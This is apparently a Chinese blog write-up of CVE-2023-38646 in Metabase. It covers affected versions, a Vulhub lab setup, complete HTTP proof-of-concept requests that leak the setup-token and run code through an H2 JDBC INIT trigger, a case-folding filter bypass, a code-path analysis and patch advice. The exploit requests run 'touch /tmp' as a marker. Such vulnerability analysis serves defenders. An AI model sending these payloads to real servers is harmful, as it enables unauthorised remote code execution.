项目介绍 Metabase是一个开源的商业智能工具,可以通过它理解数据、分析数据,进行数据查询并获取格式化结果(图形化视图),以数据驱动决策。 Hologres兼容PostgreSQL,支持直接连接Metabase进行数据分析。
该项目在GitHub上面拥有34k的star,项目地址为:https://github.com/metabase/metabase
漏洞介绍 Metabase 在 0.46.6.1 版本之前的开源版本和 1.46.6.1 版本之前的企业版本中存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。
安全版本
Metabase open source >= 0.46.6.1
Metabase Enterprise >= 1.46.6.1
Metabase open source >= v0.45.4.1
Metabase Enterprise >= v1.45.4.1
Metabase open source >= v0.44.7.1
Metabase Enterprise >= v1.44.7.1
Metabase open source >= v0.43.7.2
Metabase Enterprise >= v1.43.7.2
漏洞复现 Vulhub上面已提供该漏洞容器。
1 2 3 4 5 6 7 8 9 10 11 # Download the latest version of the vulhub git clone https://github.com/vulhub/vulhub.git # Entry vulnerability directory cd vulhub/metabase/CVE-2023-38646 # Compile (optional) docker compose build # Run docker compose up -d
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ## 获取setup-token http://hostname/api/session/properties ## 远程rce POST http://hostname/api/setup/validate HTTP/1.1 Host: hostname Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: metabase.DEVICE=d55e4970-1bde-4987-bcd0-6a1660003134; _ga=GA1.2.97335913.1694594414; _gid=GA1.2.159403145.1694594414 If-Modified-Since: Wed, 13 Sep 2023 08:40:12 GMT Connection: close Content-Type: application/json Content-Length: 399 { "token": "**********************************", "details": { "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" }, "engine": "h2" } } or POST http://hostname/api/setup/validate HTTP/1.1 Host: hostname Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: metabase.DEVICE=d55e4970-1bde-4987-bcd0-6a1660003134; _ga=GA1.2.97335913.1694594414; _gid=GA1.2.159403145.1694594414 If-Modified-Since: Wed, 13 Sep 2023 08:40:12 GMT Connection: close Content-Type: application/json Content-Length: 418 { "token": "**********************************", "details": { "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;", "init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" }, "engine": "h2" } }
漏洞分析 setup-token泄露 setup-token是metabase安装过程中的一个特殊令牌。按照官方预设的流程,在安装完成后,这个令牌就会被移除。但是metabase项目在2022年1月28日的commit中,开发者删除了移除该令牌的操作。
相关commit:https://www.christ1na.cn/index.php/2023/07/30/cve-2023-38646-metabase%E6%9C%AA%E6%8E%88%E6%9D%83jdbc%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
所以我们可以通过访问/api/session/properties接口的方式获得setup-token
H2 RCE 前面提到了两种payload,这里只分析一种的,另外一种我没有分析出来。哭/(ㄒoㄒ)/~~
payload1 1 2 3 4 5 6 7 8 9 10 11 { "token" : "**********************************" , "details" : { "details" : { "db" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" } , "engine" : "h2" } }
API接口为/api/setup/validate。
程序从前端发来请求中,提取到engine和token以及details字段。token直接调用SetupToken进行了验证。然后和调用api.database/test-database-connection方法进行测试连接。目前来看,构建对应的payload应该为。
1 2 3 4 5 6 7 8 { "token" : "**********************************" , "details" : { "details" : "***************" , "engine" : "h2" } }
在经过一系列的调用后,程序注册了h2对应的命名空间,
程序通过一系列调用注册H2引擎对应的命名空间,然后构建对应的连接,最后执行select 1来验证这个数据连接是否有效。
sql-jdbc.conn/connection-details->spec在命名空间为H2的时候就调用上述的函数,从details中提取db参数(这个参数用于连接H2数据库)。这里存在一个过滤,程序将过滤db中的init参数。H2数据库允许用户设置init参数,在数据库连接时执行特定的SQL语句。于是我们可以构建以下payload。
1 2 3 4 5 6 7 8 9 10 11 { "token" : "**********************************" , "details" : { "details" : { "db" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" } , "engine" : "h2" } }
攻击H2数据库的方式有三种:
RUNSCRIPT FROM远程加载sql文件(需要出网)
CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
CREATE TRIGGER配合 javascript 引擎构建代码执行
我们这里采用第三种,同时我们还要注意到,目前我们这个payload还是无用的。前文提到了程序存在过滤db参数中init的行为。程序首先拆解db,然后将db中设置的参数利用u/lower-case-en转换为小写与init进行比较。而在H2数据库中,则是将参数名转换为大写。两处比较的方法不相同,我们就可以利用JavaScript的大小写特性,利用拉丁字母ı替换INIT中的I,来绕过此处过滤处理处理。于是我们可以构建对应的有效payload。
1 2 3 4 5 6 7 8 9 10 11 { "token" : "**********************************" , "details" : { "details" : { "db" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;ınit=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" } , "engine" : "h2" } }
payload2 1 2 3 4 5 6 7 8 9 10 11 12 { "token" : "**********************************" , "details" : { "details" : { "db" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;" , "init" : "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" } , "engine" : "h2" } }
本payload也是有效的,而且相对于上一个payload,它不需要任何绕过的行为。
还是回到上面提到的过滤init操作后,程序将过滤后的details交给mdb.spec/spec :h2进行处理。可以确定的是,此刻db参数中不存在init设置。
该函数检查了db参数是否存在,同时设置了三个新的参数,此时对应的payload如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "token" : "**********************************" , "details" : { "details" : { "subname" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;" , "init" : "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" , "classname" : "org.h2.Driver" , "subprotocol" : "h2" } , "engine" : "h2" } }
接下来程序调用clojure.java.jdbc库的query方法执行测试SQL语句。
query方法又将数据库连接配置db与待执行SQL语句sql交由db-query-with-resultset*执行。略过各种调用直接跳转到建立连接的部分。
这里的db-spec就是前面传入的db,也就是我们的payload中details部分。
1 2 3 4 5 6 { "subname" : "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;" , "init" : "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/jjfynb')\u000A$$" , "classname" : "org.h2.Driver" , "subprotocol" : "h2" }
程序简单的格式化了一下参数,再将数据传递给get-driver-connection进行处理。
程序在这里允许对应的配置,获得数据库驱动连接。但是任然没有将init参数拼接到数据库配置参数中。
~所以,这个payload咋起效的啊!/(ㄒoㄒ)/~~
修复建议
官方已修复该漏洞,请及时更新至最新版本。
采用创宇盾等WAF封禁对/api/session/properties接口的访问。
一些胡思乱想
合并分支前一定得多检查,这个漏洞利用成功的前提还是来自2022年年初的错误commit。
clojure的远程调试还是不会操作,要不然第二个payload就能分析清除情况了。
如果第二个payload起效是因为clojure.java.jdbc库的问题,那么~是不是存在一个通杀?